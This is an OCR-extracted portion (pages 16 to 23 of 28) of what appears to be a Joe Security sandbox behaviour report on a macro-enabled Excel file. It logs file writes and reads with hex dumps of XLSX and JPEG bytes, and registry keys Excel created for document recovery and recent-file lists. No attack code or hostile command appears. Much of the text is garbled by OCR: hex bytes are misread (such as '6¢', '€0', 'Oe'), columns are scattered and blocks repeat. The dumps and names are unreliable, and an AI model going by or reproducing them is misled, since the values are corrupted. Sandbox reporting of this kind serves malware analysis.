73 2f 77 6f 72 6b 62
6f 6f 6b 2e 78 6d 6¢
2e 72 65 6¢ 73 50 4b
01 02 2d 00 14 00 06
00 08 00 00 00 21 00
a4 cc ed 50 94 02 00
00 18 05 00 00 Of 00
00 00 00 00 00 00 00
00 00 00 00 00 a1 09
00 00 78 6¢ 2f 77 6f
72 6b 62 6f 6f 6b 2e
78 6d 6C

0541 6¢ 627573 20
20202020 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
202020 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20

05 00 41 00 6¢ 00 62
00 75 00 73 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00 20 00
2000 20 00 20 00 20
00 20 00 20 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00

Ascii

IsPK

kbook.xml.relsPK..
P
xl/workbook.xml

.user

VAlbus. oo

Completion

success or wait

success or wait

.. success or wait

Count Address

1

1

1

Source
Symbol

7FEEAC59ACO unknown

13FA3F526 WriteFile

13FA3F591 WriteFile

Page 16 of 28



File Path
C:\Users\user\Desktop\CBDEO00O

C:\Users\user\Desktop\CBDEO00O
C:\Users\user\Desktop\CBDEO00O

Copyright Joe Security LLC 2021

Offset
569

1032

Length Value

463

2
569

cc 96 c9 6e db 30 10
86 ef 05 fa Oe 02 af

854427 058aa2hb0 .T..Q{..f*p.+... f.&.0.
9c439b1edb 0049 A...j...n.+v.>.s.=X...

1f 80 26 c7 12 63 6e
€0 30 89 fd f6 1d d2
8e d3 18 de 54 07 68
2f da a8 99 ef 9f 45
1c 8d af 16 d6 54 8f
1051 7b d7 b2 8b 66
c4 2a 70 d2 2b ed ba
96 fd ba fb 5e 7f 66
1526 el 94 30 de 41
ch 96 80 ec 6a 2 fe
dd f8 6e 19 00 2b b2
76 d8 b2 3e a5 f0 85
73 94 3d 58 81 8d Of
€0 68 65 e6 a3 15 89
6e 63 c7 8390 73 d1
01 bf 1c 8d 3e 71 €9
5d 02 97 ea 94 7d b0
c9 f8 1b cc c4 83 49
d5 f5 82 le af 94 4c
b5 63 d5 d7 d5 7b 19
d5321182d15224
12 ca 1f 9d da 82 d4
7e 36 d3 12 94 97 Of
96 5¢ 37 18 22 08 85
3d 40 b2 a6 09 51 13
31de 42 4a 14 18 32
be 9319 c1 e0 30 e8
3aaa862c8b30ec
75 c0 0f 14 fa 1e 42
5e d9 1f d5 7e bb fb
do 6d d9 69 9b b3 79
1f a0 cb a8 9f 54 c1
a8 1554

03 00

50 4b 03 04 14 00 06
00 08 00 00 00 21 00
83 7d 12 d1 d1 01 00

00 67 08 00 00 13 00 .

08 02 5b 43 6f 6e 74
65 6e 74 5f 54 79 70

65 73 5d 2e 78 6d 6¢C .
20a2 04 0228 a0 00 .
02 00 00 00 00 0000 .

00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00

Ascii

N0 D'....C....I..
&..cn.0......... T.hi....E....

he...nc...s....>q.]...}....
JO P
.~6..

.0....,.0.u....B ...~..m
QY TLT
PK..oeie L o (<

Completion

success or wait

success or wait

success or wait

Source

Count Address Symbol

26

26
27

7FEEAC59ACO unknown

7FEEAC59ACO unknown
7FEEAC59ACO unknown
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File Path
C:\Users\user\Desktop\CBDEO00O

C:\Users\user\Desktop\CBDEO00O

Copyright Joe Security LLC 2021

Offset
5061

9062

Length Value

187

65536

84 8f cd Oa c2 30 10
84 ef 82 ef 10 f6 6e

f0 2a f5 01 96 64 fb
83 6d 12 b2 f1 a7 6f

6f2e 8282 €0 6d 67 .6.K?,....2.cGl......R....J}JU

97 fd 66 a6 da 3f a7
51 dc 29 f2 e0 9d 86
52 16 20 c8 19 6f 07
d7 69 b8 34 c¢7 d5 16
04 27 74 16 47 ef 48
c34c 0c fb 7a b9 a8
ce 34 62 ca 4f dc Of
81 45 a6 38 d6 dO a7
14 76 4a bl e9 69 42
96 3e 90 cb 97 d6 c7
09 53 96 b1 53 01 cd
153b 52 eb a2 d8 a8
8 c9 80 fa 8b 29 4e
56 43 3c d9 12 44 33
87 ec fc 9f ed db 76
30 74 f0 €6 36 91 4b
3f 2c 94 8d 8 c8 cd
32126347 498394
ef 1d bf 87 52 e6 c8
a0 ea 4a 7d 55 ac 5f
00 00 00 ff ff

ff d8 ff e0 00 10 4a
46 49 46 00 01 01 01
00 60 00 60 00 00 ff

e1 00 5a45 7869 66 .
00 00 4d 4d 00 2a 00 .

00 00 08 00 05 03 01

Ascii

..... 0......n.z..AD.*..d..m
....00....mg..f..2.Q.)....R. .
d2 7a 1091 a6 5e 44 .0..i.4...'t.G.H.L..z...4b.O.
.E.8..vJ..iB>....S..S...

R..

00 050000000100 ...

00004a03030001 .
00 00 0001000000 .

00 51 10 00 01 00 00
00 01 01 00 00 00 51
11 00 04 00 00 00 01
00 00 Oe c4 51 12 00
04 00 00 00 01 00 00
0Oe ¢4 00 00 00 00 00
01 86 a0 00 00 b1 8f
ff db 00 43 00 02 01
0102 01 01 02 02 02
02 02 02 02 02 03 05
03 03 03 03 03 06 04
04 03 05 07 06 07 07
07 06 07 07 08 09 Ob
09 08 08 0a 08 07 07
Oa 0d Oa Oa Ob Oc Oc
Oc Oc 07 09 Oe 0Of Od
Oc Oe Ob Oc Oc Oc ff
db 00 43 01 02 02 02
03 03 03 06 03 03 06
Oc 08 07 08 Oc Oc Oc
0Oc Oc Oc Oc Oc Oc Oc
0Oc Oc Oc Oc Oc Oc Oc
0Oc Oc Oc Oc Oc Oc Oc
0Oc Oc Oc Oc Oc Oc Oc
0Oc Oc Oc Oc Oc Oc Oc
0c Oc Oc Oc Oc Oc Oc
0Oc Oc Oc Oc Oc ff cO
001108

Completion

success or wait

success or wait

Source

Count Address Symbol

1

2

7FEEAC59ACO unknown

7FEEAC59ACO unknown
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Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\Users\user\Desktop\CBDEO00O 108610 2039 success or wait 1 7FEEAC59ACO unknown
13 00 00 00 00 00 00 IsPK Jed
00 00 00 00 0000 QO .............. 0...xI/_rels/wor
00 00 00 00 5b 43 6f kbook.xml.relsPK..
6e 7465 6e 74554 ..P....iiiiiis
79 70 65 73 5d 2e 78 xl/workbook.xml
6d 6¢ 50 4b 01 02 2d
00 14 00 06 00 08 00
00 00 21 00 b5 55 30
23500 00 00 4c 02
00 00 Ob 00 00 00 00
00 00 00 00 00 00 00
00 00 Oa 04 00 00 5f
72 65 6¢ 73 2f 2e 72
65 6¢ 73 50 4b 01 02
2d 00 14 00 06 00 08
00 00 00 21 00 f3 5¢
65 cf 31 01 00 00 dc
04 00 00 1a 00 00 00
00 00 00 00 00 00 00
00 00 00 30 07 00 00
78 6¢ 2f 5f 72 65 6C
73 2f 77 6f 72 6b 62
6f 6f 6b 2e 78 6d 6¢
2e 72 65 6¢ 73 50 4b
01 02 2d 00 14 00 06
00 08 00 00 00 21 00
a4 cc ed 50 94 02 00
00 18 05 00 00 0f 00
00 00 00 00 00 00 00
00 00 00 00 00 al 09
00 00 78 6¢ 2f 77 6f
72 6b 62 6f 6f 6b 2e
78 6d 6C
File Read
Source
File Path Offset Length Completion Count Address Symbol
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet 0 65536 success or wait 1 7FEEAC59ACO unknown
Files\Content. MSO\D27E1BE7.jpg
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet 65536 26843 success or wait 1 7FEEAC59ACO unknown
Files\Content. MSO\D27E1BE7.jpg
C:\Users\user\Desktop\Copy-1986428143-05102021.xIsm unknown 8 success or wait 1 7FEEAC59ACO unknown
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet 0 4096 success or wait 3 7FEEAC59ACO unknown
Files\Content. MSO\D27E1BE7.jpg
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet 0 65536 success or wait 3 7FEEAC59ACO unknown
Files\Content. MSO\D27E1BE7.jpg
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet 0 4096 success or wait 3 7FEEAC59ACO unknown
Files\Content. MSO\D27E1BE7.jpg
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet 0 65536 success or wait 3 7FEEAC59ACO unknown
Files\Content. MSO\D27E1BE7.jpg
Registry Activities
Key Created
Source
Key Path Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Microsoft\Office\Common\Offline\Options success or wait 1 7FEEAC59ACO unknown
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency success or wait 5 7FEEAC59ACO unknown
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery success or wait 5 7FEEAC59ACO unknown
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\ED93F success or wait 1 7FEEAC59ACO unknown
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\EDAAG success or wait 1 7FEEAC59ACO unknown
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\EDB61 success or wait 1 7FEEAC59ACO unknown
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\EDC2C success or wait 1 7FEEAC59ACO unknown
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\Startupltems success or wait 1 7FEEAC59ACO unknown
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\F3EOA success or wait 1 7FEEAC59ACO unknown
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency success or wait 1 7FEEAC59ACO unknown
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery success or wait 1 7FEEAC59ACO unknown
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\F46 D0 success or wait 1 7FEEAC59ACO unknown

Key Value Created
Copyright Joe Security LLC 2021 Page 19 of 28



Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\Place MRU

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

Copyright Joe Security LLC 2021

Name

Max Display

Max Display

Item 1

Iltem 2

Item 3

Iltem 4

Item 5

Iltem 6

Iltem 7

Item 8

Item 9

Item 10

Item 11

Iltem 12

Item 13

Item 14

Item 15

Item 16

Iltem 17

Item 18

Item 19

Item 20

Type

dword

dword

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

Data
25

25

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\6516896632.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9713424497 .xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0887538035.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416751812.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3580751004.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\5367203117.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3764832265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3013890265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0615447233.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\4144085054.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2109793820.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1417002460.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1387277564.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9281004682.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1169381505.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9801086636.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\7838756049.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416181845.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2874006916.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9369051781.xIsx

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count

Source
Address

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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Source

Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Mic ED93F binary 04 00 00 00 DC 09 00 00 3A 00 00 00 43 success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\Resil 00 3A 00 5C 00 55 00 73 00 65 00 72 00

iency\DocumentRecovery\ED93F 73 00 5C 0041 00 6C 00 62 00 75 00 73

00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 00 62 00 65 00 66 00 6F 00 72 00 65
00 2E 00 34 00 2E 00 39 00 31 00 2E 00
3200 39 00 2E 00 73 00 68 00 65 00 65
00 74 00 2E 00 63 00 73 00 76 00 00 00
00 00 22 00 00 00 43 00 3A 00 5C 00 55
00 73 00 65 00 72 00 73 00 5C 00 41 00
6C 00 62 00 75 00 73 00 5C 00 41 00 70
00 70 00 44 00 61 00 74 00 61 00 5C 00
4C 00 6F 00 63 00 61 00 6C 00 5C 00 54
00 65 00 6D 00 70 00 5C 00 01 00 00 00
01 00 00 00 80 08 22 5C 62 47 D7 01 3F
D9 OE 00 3F D9 OE 00 00 00 00 00 B8 02
00 00 OA 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
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Source

Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Mic EDAA6 binary 04 00 00 00 DC 09 00 00 38 00 00 00 43 success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\Resil 00 3A 00 5C 00 55 00 73 00 65 00 72 00

iency\DocumentRecovery\EDAA6 73 00 5C 0041 00 6C 00 62 00 75 00 73

00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 00 62 00 65 00 66 00 6F 00 72 00 65
00 2E 00 35 00 2E 00 36 00 2E 00 37 00
2E 00 73 00 68 00 65 00 65 00 74 00 2E
00 63 00 73 00 76 00 00 00 00 00 22 00
00 00 43 00 3A 00 5C 00 55 00 73 00 65
00 72 00 73 00 5C 00 41 00 6C 00 62 00
7500 73 00 5C 00 41 00 70 00 70 00 44
00 61 00 74 00 61 00 5C 00 4C 00 6F 00
63 00 61 00 6C 00 5C 00 54 00 65 00 6D
00 70 00 5C 00 01 00 00 00 01 00 00 00
80 08 22 5C 62 47 D7 01 A6 DA OE 00
A6 DA OE 00 00 00 00 00 B8 02 00 00 0A
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00
HKEY_CURRENT_USER\Software\Mic Max Display dword 25 success or wait 2 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\Place MRU
HKEY_CURRENT_USER\Software\Mic Max Display dword 25 success or wait 2 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\file mru
HKEY_CURRENT_USER\Software\Mic Item 1 unicode [FO0000000][T01D1BB6D4B429860] success or wait 2 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\6516896632.xIsx
HKEY_CURRENT_USER\Software\Mic ltem 2 unicode [FO0000000][T01D1BB6D4B429860] success or wait 2 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\9713424497 .xIsx
HKEY_CURRENT_USER\Software\Mic ltem 3 unicode [FO0000000][T01D1BB6D4B429860] success or wait 2 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\0887538035.xIsx
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Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

Copyright Joe Security LLC 2021

Name

Iltem 4

Item 5

Iltem 6

Iltem 7

Item 8

Item 9

Item 10

Item 11

Item 12

Item 13

Iltem 14

Item 15

Item 16

Iltem 17

Item 18

Item 19

Item 20

Type

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

Data

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416751812.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3580751004.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\5367203117.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3764832265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3013890265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0615447233.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\4144085054.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2109793820.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1417002460.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1387277564.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9281004682.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1169381505.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9801086636.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\7838756049.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416181845.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2874006916.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9369051781.xIsx

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count

Source
Address

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

Page 23 of 28



Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\Resil
iency\DocumentRecovery\EDB61

Copyright Joe Security LLC 2021

Name

EDB61

Type

binary

Data

04 00 00 00 DC 09 00 00 30 00 00 00 43 success or wait

00 3A 00 5C 00 55 00 73 00 65 00 72 00
73 00 5C 00 41 00 6C 00 62 00 75 00 73
